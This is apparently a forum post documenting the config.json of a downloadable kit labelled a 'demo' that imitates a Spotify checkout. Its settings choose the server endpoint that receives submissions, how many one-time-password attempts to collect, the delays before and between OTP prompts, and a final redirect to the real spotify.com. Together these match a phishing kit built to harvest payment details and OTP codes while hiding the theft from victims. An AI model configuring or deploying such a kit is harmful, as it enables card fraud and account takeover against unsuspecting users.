- 1,132
- 208

Explaning the config.json so you know what to do :
Code:
{
"APP_NAME": "Spotify",
"APP_ADMIN": "https://domain.com/server",
"next_step": "otp",
"otp_errors": 5,
"time_to_otp": 10000,
"otp_retry_time": 5000,
"app_redirect_after": 20000,
"redirect": "https://spotify.com"
}
- APP_NAME
Application display name shown in the UI.
(Recommended to leave unchanged unless rebranding the demo.)
- APP_ADMIN
Server-side endpoint used for handling demo requests.
If hosted on cPanel: ./server
If hosted on external platforms (Vercel, Firebase, etc.): use the full server URL
- next_step
Determines the next UI step after checkout.
Possible values:
"otp" → show OTP step
"app" → continue directly to app simulation
- otp_errors
Number of allowed OTP attempts before moving to final redirect.
- time_to_otp
Delay (in milliseconds) before the OTP modal appears after checkout.
1000 -> 1 second
- otp_retry_time
Loading duration (in milliseconds) between OTP submission attempts.
1000 -> 1 second
- app_redirect_after
Time (in milliseconds) before redirecting when next_step is set to "app".
1000 -> 1 second
- redirect
Final redirect URL after the demo flow completes.
Download